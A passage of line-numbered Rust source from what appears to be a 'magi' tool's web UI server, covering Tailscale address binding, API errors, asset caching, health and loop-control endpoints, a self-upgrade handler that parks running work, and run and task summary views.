1665 "finish_loop: waiting for the loop to finish the run in flight",
1666 );
1667 let waited = std::time::Instant::now();
1668 let mut handle = live.handle;
1671 let mut beat = tokio::time::interval(LEASE_BEAT);
1672 loop {
1673 tokio::select! {
1674 _ = &mut handle => break,
1675 _ = beat.tick() => {
1676 if let Some(lease) = lease.as_deref_mut() {
1677 lease.beat();
1678 }
1679 }
1680 }
1681 }
1682 updater::log_step(
1683 home,
1684 &format!(
1685 "finish_loop: the loop ended after {:.1}s",
1686 waited.elapsed().as_secs_f32()
1687 ),
1688 );
1689}
1690
1691pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1697 match bind {
1698 Bind::Addr(addr) => (*addr, None),
1699 Bind::Auto => match tailscale_ip() {
1700 Ok(ip) => (IpAddr::V4(ip), None),
1701 Err(why) => (
1702 IpAddr::V4(Ipv4Addr::LOCALHOST),
1703 Some(format!(
1704 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1705 local-only and a phone cannot reach it; start Tailscale \
1706 or pass --bind <addr>"
1707 )),
1708 ),
1709 },
1710 }
1711}
1712
1713fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1721 let out = std::process::Command::new("tailscale")
1722 .args(["ip", "-4"])
1723 .quiet()
1724 .output()
1725 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1726 if !out.status.success() {
1727 let why = String::from_utf8_lossy(&out.stderr);
1728 let why = why.trim();
1729 return Err(format!(
1730 "`tailscale ip -4` failed ({}){}",
1731 out.status,
1732 if why.is_empty() {
1733 String::new()
1734 } else {
1735 format!(": {why}")
1736 }
1737 ));
1738 }
1739 String::from_utf8_lossy(&out.stdout)
1740 .lines()
1741 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1742 .find(is_tailnet)
1743 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1744}
1745
1746fn is_tailnet(ip: &Ipv4Addr) -> bool {
1748 let o = ip.octets();
1749 o[0] == 100 && (64..=127).contains(&o[1])
1750}
1751
1752type ApiResult<T> = std::result::Result<T, ApiError>;
1756
1757#[derive(Debug)]
1759struct ApiError {
1760 status: StatusCode,
1761 message: String,
1762}
1763
1764impl ApiError {
1765 fn bad_request(message: impl Into<String>) -> Self {
1767 Self {
1768 status: StatusCode::BAD_REQUEST,
1769 message: message.into(),
1770 }
1771 }
1772
1773 fn not_found(message: impl Into<String>) -> Self {
1775 Self {
1776 status: StatusCode::NOT_FOUND,
1777 message: message.into(),
1778 }
1779 }
1780
1781 fn with_status(mut self, status: StatusCode) -> Self {
1784 self.status = status;
1785 self
1786 }
1787
1788 fn bad_request_from(e: anyhow::Error) -> Self {
1792 Self::bad_request(format!("{e:#}"))
1793 }
1794
1795 fn conflict(message: impl Into<String>) -> Self {
1796 Self {
1797 status: StatusCode::CONFLICT,
1798 message: message.into(),
1799 }
1800 }
1801
1802 fn internal(message: impl Into<String>) -> Self {
1804 Self {
1805 status: StatusCode::INTERNAL_SERVER_ERROR,
1806 message: message.into(),
1807 }
1808 }
1809}
1810
1811impl From<anyhow::Error> for ApiError {
1812 fn from(e: anyhow::Error) -> Self {
1817 Self::internal(format!("{e:#}"))
1818 }
1819}
1820
1821impl IntoResponse for ApiError {
1822 fn into_response(self) -> Response {
1823 let body = serde_json::json!({ "error": self.message });
1824 (self.status, Json(body)).into_response()
1825 }
1826}
1827
1828async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1837where
1838 T: Send + 'static,
1839{
1840 #[cfg(test)]
1841 let job = request_cost::carry(job);
1842 match tokio::task::spawn_blocking(job).await {
1843 Ok(result) => result,
1844 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1845 }
1846}
1847
1848const ASSET_CACHE: &str = "no-cache, must-revalidate";
1866
1867fn asset_etag() -> &'static str {
1874 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1875 format!(
1876 "\"{}-{}\"",
1877 env!("CARGO_PKG_VERSION"),
1878 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1883 )
1884 });
1885 &TAG
1886}
1887
1888fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1890 [
1891 (header::CONTENT_TYPE, mime),
1892 (header::CACHE_CONTROL, ASSET_CACHE),
1893 (header::ETAG, asset_etag()),
1894 ]
1895}
1896
1897fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1905 let tag = asset_etag();
1906 let known = headers
1907 .get(header::IF_NONE_MATCH)
1908 .and_then(|v| v.to_str().ok())
1909 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1913 if known {
1914 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1915 }
1916 (asset_headers(mime), body).into_response()
1917}
1918
1919async fn index(headers: header::HeaderMap) -> Response {
1920 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1921}
1922
1923async fn app_css(headers: header::HeaderMap) -> Response {
1924 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1925}
1926
1927async fn app_js(headers: header::HeaderMap) -> Response {
1928 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1929}
1930
1931#[derive(Debug, Serialize)]
1933struct HealthView {
1934 version: &'static str,
1935 home: String,
1936 queue_rev: u64,
1937 runs_rev: u64,
1938 questions_rev: u64,
1950 talks_rev: u64,
1952 notifications_rev: u64,
1954 notifications_unread: usize,
1957 loop_rev: u64,
1962 runs_unreadable: usize,
1970 disk: DiskView,
1978 questions_open: usize,
1984 questions_needs_owner: usize,
1994 daemon: DaemonView,
1995 #[serde(rename = "loop")]
2001 looping: LoopView,
2002 update: UpdateView,
2009 upgrade: Option<UpgradeProgressView>,
2013}
2014
2015#[derive(Debug, Serialize)]
2022struct UpdateView {
2023 available: bool,
2025 to: Option<String>,
2027}
2028
2029#[derive(Debug, Serialize)]
2031struct UpgradeProgressView {
2032 stage: updater::Stage,
2033 from: String,
2034 to: Option<String>,
2035 waiting_on: Option<String>,
2038 started_at: Timestamp,
2039 updated_at: Timestamp,
2040 detail: Option<String>,
2041 stuck_for_secs: Option<i64>,
2044 stuck_kind: Option<updater::StallKind>,
2047 handover_alive: bool,
2050}
2051
2052fn should_spawn_recheck(cfg: &Update) -> bool {
2059 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2060}
2061
2062fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2074 if progress.is_some_and(|p| !p.stage.terminal()) {
2075 return false;
2076 }
2077 checker.should_check()
2078}
2079
2080fn recheck_poll_period(cfg: &Update) -> Duration {
2093 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2094}
2095
2096async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2120 loop {
2121 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2122 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2123 if !should_spawn_recheck(&cfg.update) {
2124 continue;
2125 }
2126 let Some(checker) = updater::Checker::new(&cfg.update) else {
2127 continue;
2128 };
2129 let progress = updater::read_progress(&home);
2130 if !update_recheck_due(&checker, progress.as_ref()) {
2131 continue;
2132 }
2133 if let Err(e) = checker.newer_release().await {
2134 tracing::warn!("background update recheck failed: {e:#}");
2135 }
2136 }
2137}
2138
2139fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2145 let default;
2146 let cfg = match cfg {
2147 Some(cfg) => cfg,
2148 None => {
2149 default = Config::default();
2150 &default
2151 }
2152 };
2153 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2154 match latest {
2155 Some(latest) => UpdateView {
2156 available: true,
2157 to: Some(latest.tag_name),
2158 },
2159 None => UpdateView {
2160 available: false,
2161 to: None,
2162 },
2163 }
2164}
2165
2166fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2172 let now = Timestamp::now();
2173 let lease = updater::read_lease(&ui.home);
2174 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2175 let run_id = alive
2176 .and_then(|l| l.parked_run.as_deref())
2177 .or(progress.parked_run.as_deref());
2178 let parking = progress.stage == updater::Stage::Parking;
2179 let waited = alive.map_or_else(String::new, |l| {
2180 let secs = updater::waited_secs(l, now);
2181 format!(" (waited {} min so far)", secs / 60)
2182 });
2183 let run_text = run_id
2184 .filter(|_| parking)
2185 .map(|id| match read_run(&ui.runs, id).ok() {
2186 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2187 None => format!("run {id} is finishing"),
2188 });
2189 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2190 .filter(|t| parking && !t.is_empty())
2191 .map(|t| format!("{t} finishing"));
2192 let waiting_on = match (run_text, talks_text) {
2193 (None, None) => None,
2194 (run, talks) => {
2195 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2196 Some(format!(
2197 "{} before the address is handed over{waited}",
2198 parts.join(" and ")
2199 ))
2200 }
2201 };
2202 let detail = progress
2203 .detail
2204 .clone()
2205 .or_else(|| updater::read_note(&ui.home, &progress));
2206 let stalled = updater::stall(&progress, lease.as_ref(), now);
2207 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2208 UpgradeProgressView {
2209 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2210 stuck_kind: stalled.map(|s| s.kind),
2211 handover_alive: alive.is_some(),
2212 stage: progress.stage,
2213 from: progress.from,
2214 to: progress.to,
2215 waiting_on,
2216 started_at: progress.started_at,
2217 updated_at: progress.updated_at,
2218 detail,
2219 }
2220}
2221
2222#[derive(Debug, Serialize)]
2227struct DiskView {
2228 #[serde(skip_serializing_if = "Option::is_none")]
2230 free_bytes: Option<u64>,
2231 runs_bytes: u64,
2233 worktrees_bytes: u64,
2235 #[serde(skip_serializing_if = "Option::is_none")]
2237 cache_bytes: Option<u64>,
2238}
2239
2240impl DiskView {
2241 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2243 let cache_bytes = cfg
2244 .and_then(|cfg| cfg.cache_dir())
2245 .map(|dir| crate::disk::dir_size(&dir));
2246 Self {
2247 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2248 runs_bytes: crate::disk::dir_size(&ui.runs),
2249 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2250 cache_bytes,
2251 }
2252 }
2253}
2254
2255#[derive(Debug, Serialize)]
2257struct DaemonView {
2258 running: bool,
2259 idle: Option<bool>,
2260 pid: Option<u32>,
2261 current: Vec<daemon::Current>,
2265 completed: Option<u64>,
2266 stale_for_secs: Option<i64>,
2267}
2268
2269impl DaemonView {
2270 fn of(status: Option<daemon::Reading>) -> Self {
2274 let Some(status) = status else {
2275 return Self {
2276 running: false,
2277 idle: None,
2278 pid: None,
2279 current: Vec::new(),
2280 completed: None,
2281 stale_for_secs: None,
2282 };
2283 };
2284 let now = Timestamp::now();
2285 let age = status.age_secs(now);
2286 Self {
2287 running: status.running(now),
2288 idle: Some(status.idle),
2289 pid: status.pid,
2290 current: status.current,
2291 completed: Some(status.completed),
2292 stale_for_secs: age,
2293 }
2294 }
2295}
2296
2297async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2298 blocking(move || {
2299 let reading = daemon::read_status(&ui.home);
2303 let loop_rev = ui.lock_loop().rev;
2307 let cfg = deputy_config(&ui.repo);
2310 let update = cached_update_view(cfg.as_ref());
2311 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2312 Ok(Json(HealthView {
2313 version: env!("CARGO_PKG_VERSION"),
2314 home: ui.home.display().to_string(),
2315 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2316 runs_rev: runs_revision(&ui.runs),
2317 questions_rev: ui.questions.revision(),
2318 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2319 notifications_rev: ui.notices.revision(),
2320 notifications_unread: ui.notices.count_unread(),
2321 loop_rev,
2322 runs_unreadable: runs_unreadable(&ui.runs),
2323 questions_open: ui.questions.count_open(),
2324 questions_needs_owner: ui.questions.count_needs_owner(),
2325 daemon: DaemonView::of(reading.clone()),
2326 looping: ui.loop_view(reading),
2327 disk: DiskView::of(&ui, cfg.as_ref()),
2328 update,
2329 upgrade,
2330 }))
2331 })
2332 .await
2333}
2334
2335#[derive(Debug, Serialize)]
2337struct LoopView {
2338 running: bool,
2340 stopping: bool,
2348 parking: bool,
2356 owned: bool,
2364 repo: String,
2367 merge: Option<String>,
2370 last_error: Option<String>,
2378 daemon: DaemonView,
2381}
2382
2383#[derive(Debug, Clone, Copy)]
2392struct Foreign {
2393 pid: Option<u32>,
2395}
2396
2397impl Foreign {
2398 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2401 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2405 }
2406
2407 fn who(&self) -> String {
2410 match self.pid {
2411 Some(pid) => format!("another magi process (pid {pid})"),
2412 None => "another magi process".to_owned(),
2413 }
2414 }
2415}
2416
2417type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2422
2423fn launch_daemon(
2425 opts: daemon::Opts,
2426 stop: daemon::Stop,
2427) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2428 Box::pin(daemon::serve_until(opts, stop))
2429}
2430
2431#[derive(Debug, Default)]
2433struct LoopState {
2434 live: Option<Live>,
2436 rev: u64,
2444 last_error: Option<String>,
2447 resume_after_handover: bool,
2452}
2453
2454#[derive(Debug)]
2456struct Live {
2457 stop: daemon::Stop,
2459 handle: tokio::task::JoinHandle<()>,
2464 opts: daemon::Opts,
2468}
2469
2470impl Live {
2471 fn alive(&self) -> bool {
2473 !self.handle.is_finished()
2474 }
2475}
2476
2477fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2484 state.lock().unwrap_or_else(PoisonError::into_inner)
2485}
2486
2487async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2489 blocking(move || {
2490 let reading = daemon::read_status(&ui.home);
2491 Ok(Json(ui.loop_view(reading)))
2492 })
2493 .await
2494}
2495
2496#[derive(Debug, Deserialize)]
2502#[serde(deny_unknown_fields)]
2503struct LoopCommand {
2504 running: bool,
2505 #[serde(default)]
2515 park: bool,
2516}
2517
2518async fn loop_post(
2526 State(ui): State<Arc<Ui>>,
2527 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2528) -> ApiResult<Json<LoopView>> {
2529 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2532 blocking(move || {
2533 let reading = daemon::read_status(&ui.home);
2534 let foreign = Foreign::of(reading.as_ref());
2535 if body.running {
2536 ui.start_loop(foreign)?;
2537 } else {
2538 ui.stop_loop(foreign, body.park)?;
2539 }
2540 Ok(Json(ui.loop_view(reading)))
2541 })
2542 .await
2543}
2544
2545#[derive(Debug, Serialize)]
2547struct UpgradeView {
2548 from: String,
2550 to: Option<String>,
2552 parked: Option<String>,
2554 detail: String,
2556}
2557
2558fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2561 progress.filter(|p| !p.stage.terminal())
2562}
2563
2564async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2588 let reading = daemon::read_status(&ui.home);
2589 if let Some(other) = Foreign::of(reading.as_ref()) {
2590 return Err(ApiError::conflict(format!(
2591 "the loop belongs to {}, so replacing this binary would leave \
2592 that process running an old one against the same queue. Upgrade \
2593 where it was started.",
2594 other.who()
2595 )));
2596 }
2597
2598 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2603 return Err(ApiError::conflict(
2604 "another request is already preparing an upgrade",
2605 ));
2606 };
2607 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2608 return Err(ApiError::conflict(
2609 "an upgrade is already in progress (this process started one and it \
2610 has not finished or failed yet)",
2611 ));
2612 }
2613 let recorded = updater::read_progress(&ui.home);
2614 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2615 return Err(ApiError::conflict(format!(
2616 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2617 stays stuck, restart the deck; on start it settles a stale record.",
2618 p.stage.as_str(),
2619 p.from,
2620 p.to.as_deref().unwrap_or("?"),
2621 )));
2622 }
2623
2624 if crate::updater::disabled_by_env() {
2630 return Ok((
2631 StatusCode::OK,
2632 Json(UpgradeView {
2633 from: env!("CARGO_PKG_VERSION").to_owned(),
2634 to: None,
2635 parked: None,
2636 detail: format!(
2637 "Automatic updates are disabled by {}. Nothing was parked \
2638 and nothing restarted.",
2639 crate::updater::NO_AUTOUPDATE_ENV
2640 ),
2641 }),
2642 ));
2643 }
2644
2645 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2650 let from = env!("CARGO_PKG_VERSION").to_owned();
2651 let latest = match crate::updater::Checker::new(&cfg.update) {
2652 Some(checker) => checker
2653 .newer_release()
2654 .await
2655 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2656 None => None,
2657 };
2658 let Some(latest) = latest else {
2659 return Ok((
2660 StatusCode::OK,
2661 Json(UpgradeView {
2662 from,
2663 to: None,
2664 parked: None,
2665 detail: "Already on the newest release. Nothing was parked \
2666 and nothing restarted."
2667 .to_owned(),
2668 }),
2669 ));
2670 };
2671
2672 let parked = ui.park_for_upgrade(&from, Some(latest.tag_name.as_str()))?;
2675 let detail = match &parked {
2676 Some(run) => format!(
2681 "Run {} is parking at its next step, which can take as long as \
2682 the step it is on - up to an hour for an implement wave. The \
2683 deck replaces itself once it parks, comes back, and the loop \
2684 carries that run on from where it stopped. Nothing is lost if \
2685 you close this.",
2686 crate::run::short_of(run)
2687 ),
2688 None => "The deck replaces itself and comes back. Nothing was in \
2689 flight to park."
2690 .to_owned(),
2691 };
2692
2693 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2697 progress.parked_run = parked.clone();
2698 updater::write_progress_logged(&ui.home, &progress);
2702
2703 let home = ui.home.clone();
2704 let looping = ui.looping();
2705 ui.upgrade_spawned
2706 .store(true, std::sync::atomic::Ordering::SeqCst);
2707 let spawned = Arc::clone(&ui.upgrade_spawned);
2708 tokio::spawn(async move {
2709 if let Err(e) = upgrade_and_restart(home.clone()).await {
2710 tracing::error!("the upgrade did not complete: {e:#}");
2711 lock_or_recover(&looping).resume_after_handover = false;
2712 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2716 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2719 }
2720 });
2721
2722 Ok((
2723 StatusCode::ACCEPTED,
2724 Json(UpgradeView {
2725 from,
2726 to: Some(latest.tag_name),
2727 parked,
2728 detail,
2729 }),
2730 ))
2731}
2732
2733async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2738 crate::updater::run_self_update(true, false, true).await?;
2741 updater::log_step(&home, "binary replaced - recording the replaced stage");
2742 if let Some(mut progress) = updater::read_progress(&home) {
2743 progress.advance(updater::Stage::Replaced);
2744 updater::write_progress_logged(&home, &progress);
2745 }
2746 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2747 HANDOVER.notify_one();
2748 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2749 Ok(())
2750}
2751
2752#[derive(Debug, Serialize)]
2758struct RunSummary {
2759 id: String,
2760 short: String,
2761 status: String,
2762 done: bool,
2763 instruction: String,
2764 title: String,
2765 repo: String,
2766 repo_name: String,
2767 created_at: String,
2768 updated_at: String,
2769 candidates: usize,
2770 viable: usize,
2771 judges: usize,
2772 winner: Option<char>,
2773 reviews: usize,
2774 quota_losses: usize,
2775 event: Option<String>,
2776 superseded_by: Option<String>,
2781 waiting: bool,
2788 live: crate::run::Liveness,
2792 pr: Option<crate::run::PrRecord>,
2794 unmerged_by_design: bool,
2800 #[serde(default)]
2803 display_status: String,
2804 #[serde(default)]
2807 badge_status: String,
2808 origin_label: String,
2811}
2812
2813impl RunSummary {
2814 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2815 Self {
2816 id: state.id.clone(),
2817 short: state.short().to_owned(),
2818 status: status_word(state.status),
2819 done: state.status.done(),
2820 unmerged_by_design: state.unmerged_by_design(),
2821 display_status: run_display_status(state, waiting, live),
2822 badge_status: run_display_status(state, waiting, live),
2823 instruction: state.instruction.clone(),
2824 title: title_from(&state.instruction, TITLE_MAX),
2825 repo: state.repo.display().to_string(),
2826 repo_name: state
2827 .repo
2828 .file_name()
2829 .map(|n| n.to_string_lossy().into_owned())
2830 .unwrap_or_default(),
2831 created_at: state.created_at.to_string(),
2832 updated_at: state.updated_at.to_string(),
2833 candidates: state.candidates.len(),
2834 viable: state.viable().len(),
2835 judges: state.config.graph.judges,
2836 winner: state.winner().map(|c| c.label),
2837 reviews: state.reviews.len(),
2838 quota_losses: state.quota.len(),
2839 event: state.events.last().map(|e| e.message.clone()),
2840 waiting,
2841 live,
2842 superseded_by: None,
2845 pr: state.pr.clone(),
2846 origin_label: crate::run::origin_label(state.origin.as_ref()),
2847 }
2848 }
2849}
2850
2851fn status_word(status: RunStatus) -> String {
2854 status.as_str().to_owned()
2858}
2859
2860fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
2866 if waiting {
2867 return "waiting".to_owned();
2868 }
2869 if state.unmerged_by_design() {
2870 return "unmerged".to_owned();
2871 }
2872 if !state.status.done() && live == crate::run::Liveness::Dead {
2873 if state.parked {
2876 return "parked".to_owned();
2877 }
2878 return "stale".to_owned();
2879 }
2880 status_word(state.status)
2881}
2882
2883fn run_badge_status(
2891 state: &RunState,
2892 display_status: &str,
2893 live: crate::run::Liveness,
2894 superseded: bool,
2895) -> String {
2896 if state.status.done() || live == crate::run::Liveness::Live {
2897 return display_status.to_owned();
2898 }
2899 if superseded {
2900 return "superseded".to_owned();
2901 }
2902 if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
2906 return "stale".to_owned();
2907 }
2908 display_status.to_owned()
2909}
2910
2911#[derive(Debug, Deserialize)]
2913struct ListQuery {
2914 #[serde(default)]
2915 limit: Option<usize>,
2916 ids: Option<String>,
2918}
2919
2920impl ListQuery {
2921 fn contains(&self, id: &str) -> bool {
2922 self.ids
2923 .as_ref()
2924 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2925 }
2926}
2927
2928async fn runs_list(
2929 State(ui): State<Arc<Ui>>,
2930 Query(q): Query<ListQuery>,
2931) -> ApiResult<Json<Vec<RunSummary>>> {
2932 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2933 blocking(move || {
2934 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2935 let states = run_ids(&ui.runs)
2936 .into_iter()
2937 .filter_map(|id| read_run(&ui.runs, &id).ok())
2942 .take(limit)
2943 .filter(|run| q.contains(&run.id));
2944 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2945 let summaries = summarize(
2946 states,
2947 &open_runs,
2948 &claimed,
2949 &superseded,
2950 |p| probe.borrow_mut().status(p),
2951 |p| probe.borrow_mut().started_at(p),
2952 );
2953 Ok(Json(summaries))
2954 })
2955 .await
2956}
2957
2958fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2963 let open_runs: HashSet<String> = ui
2964 .questions
2965 .list()
2966 .into_iter()
2967 .filter(|q| q.status.open())
2968 .map(|q| q.run)
2969 .collect();
2970 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2971 .into_iter()
2972 .map(|c| c.run)
2973 .collect();
2974 (open_runs, claimed, ui.queue.superseded())
2975}
2976
2977fn summarize<I, S, D>(
2983 states: I,
2984 open_runs: &HashSet<String>,
2985 claimed: &HashSet<String>,
2986 superseded: &HashMap<String, String>,
2987 mut status_q: S,
2988 mut identity_q: D,
2989) -> Vec<RunSummary>
2990where
2991 I: IntoIterator<Item = RunState>,
2992 S: FnMut(u32) -> Option<bool>,
2993 D: FnMut(u32) -> Option<String>,
2994{
2995 states
2996 .into_iter()
2997 .map(|state| {
2998 let waiting = open_runs.contains(&state.id);
2999 let live =
3000 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3001 let mut row = RunSummary::of(&state, waiting, live);
3002 row.superseded_by = state
3003 .pr_taken_over_by
3004 .as_ref()
3005 .or_else(|| superseded.get(&state.id))
3006 .map(String::as_str)
3007 .map(crate::run::short_of)
3008 .map(str::to_owned);
3009 row.badge_status = run_badge_status(
3010 &state,
3011 &row.display_status,
3012 live,
3013 row.superseded_by.is_some(),
3014 );
3015 row
3016 })
3017 .collect()
3018}
3019
3020#[derive(Debug, Serialize)]
3027struct RunDetailView {
3028 stop_reason: Option<String>,
3029 #[serde(flatten)]
3030 state: RunState,
3031 instruction_md: Vec<md::Node>,
3032 #[serde(flatten)]
3036 prose_md: RunProseMd,
3037 live: crate::run::Liveness,
3052 unmerged_by_design: bool,
3057 #[serde(default)]
3059 waiting: bool,
3060 #[serde(default)]
3062 display_status: String,
3063 #[serde(default)]
3065 badge_status: String,
3066 done: bool,
3071 superseded_by: Option<String>,
3079 latest_attempt: Option<LatestAttempt>,
3093 task: Option<TaskRef>,
3096 origin_label: String,
3100 pass_views: Vec<PassView>,
3103}
3104
3105#[derive(Debug, Serialize)]
3107struct TaskRef {
3108 id: String,
3109 short: String,
3110 title: String,
3111 source_label: String,
3113 source_link: Option<SourceLink>,
3115 status: &'static str,
3117 attempts: usize,
3118 max_attempts: usize,
3119 is_latest: bool,
3121 latest: Option<RunBrief>,
3123 finished_by: Option<RunBrief>,
3125 closed_by_hand: bool,
3127}
3128
3129#[derive(Debug, PartialEq, Eq, Serialize)]
3131struct SourceLink {
3132 kind: &'static str,
3134 id: String,
3136 href: String,
3138}
3139
3140fn encode_segment(raw: &str) -> String {
3142 let mut out = String::with_capacity(raw.len());
3143 for b in raw.bytes() {
3144 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3145 out.push(b as char);
3146 } else {
3147 out.push_str(&format!("%{b:02X}"));
3148 }
3149 }
3150 out
3151}
3152
3153fn source_link(source: &Source) -> Option<SourceLink> {
3157 let Source::Agent { run, node } = source else {
3158 return None;
3159 };
3160 let (kind, route) = if node == crate::queue::CHAT_NODE {
3161 ("chat", "chat")
3162 } else {
3163 ("run", "runs")
3164 };
3165 Some(SourceLink {
3166 kind,
3167 id: run.clone(),
3168 href: format!("#/{route}/{}", encode_segment(run)),
3169 })
3170}
3171
3172#[derive(Debug, Serialize, PartialEq)]
3174struct FollowUpParent {
3175 id: String,
3176 short: String,
3177 title: String,
3178 status: &'static str,
3180 href: String,
3181}
3182
3183#[derive(Debug, Serialize, PartialEq)]
3185struct FollowUpRun {
3186 id: String,
3187 short: String,
3188 status: Option<&'static str>,
3190 href: Option<String>,
3192}
3193
3194#[derive(Debug, Serialize, PartialEq)]
3197struct FollowUpOrigin {
3198 parent: Option<FollowUpParent>,
3200 run: FollowUpRun,
3201 pr: String,
3206 findings: Vec<String>,
3207 generation: u32,
3208}
3209
3210fn followup_origin(
3213 fu: &crate::queue::FollowUp,
3214 task: impl Fn(&str) -> Option<Task>,
3215 run: impl Fn(&str) -> Option<RunState>,
3216) -> FollowUpOrigin {
3217 let parent = fu
3218 .origin_task
3219 .as_deref()
3220 .and_then(task)
3221 .map(|t| FollowUpParent {
3222 short: t.short().to_owned(),
3223 href: format!("#/tasks/{}", encode_segment(&t.id)),
3224 status: t.status.as_str(),
3225 title: t.title,
3226 id: t.id,
3227 });
3228 let state = run(&fu.run);
3229 FollowUpOrigin {
3230 parent,
3231 run: FollowUpRun {
3232 short: run::short_of(&fu.run).to_owned(),
3233 status: state.as_ref().map(|s| s.status.as_str()),
3234 href: state
3235 .is_some()
3236 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3237 id: fu.run.clone(),
3238 },
3239 pr: fu.pr.clone(),
3240 findings: fu.findings.clone(),
3241 generation: fu.generation,
3242 }
3243}
3244
3245#[derive(Debug, Serialize)]
3247struct RunBrief {
3248 id: String,
3249 short: String,
3250 status: Option<&'static str>,
3252 outcome: String,
3254 badge: Option<String>,
3256}
3257
3258fn task_outcome(
3261 task: &Task,
3262 this_run: &str,
3263 max_attempts: usize,
3264 read: impl Fn(&str) -> Option<RunState>,
3265) -> TaskRef {
3266 let history = task_history(task, read);
3267 let brief = |h: &TaskRunView| RunBrief {
3268 id: h.id.clone(),
3269 short: h.short.clone(),
3270 status: h.status,
3271 outcome: h.exit.edge_label(h.status),
3272 badge: h.badge.clone(),
3273 };
3274 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3275 let latest = if is_latest {
3276 None
3277 } else {
3278 history.last().map(brief)
3279 };
3280 let done = task.status == TaskStatus::Done;
3281 let finished_by = done
3282 .then(|| {
3283 history
3284 .iter()
3285 .rev()
3286 .find(|h| {
3287 matches!(
3288 h.exit,
3289 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3290 )
3291 })
3292 .map(brief)
3293 })
3294 .flatten();
3295 TaskRef {
3296 short: task.short().to_owned(),
3297 title: task.title.clone(),
3298 id: task.id.clone(),
3299 source_label: task.source.label(),
3300 source_link: source_link(&task.source),
3301 status: task.status.as_str(),
3302 attempts: task.attempts,
3303 max_attempts,
3304 is_latest,
3305 latest,
3306 closed_by_hand: done && finished_by.is_none(),
3307 finished_by,
3308 }
3309}
3310
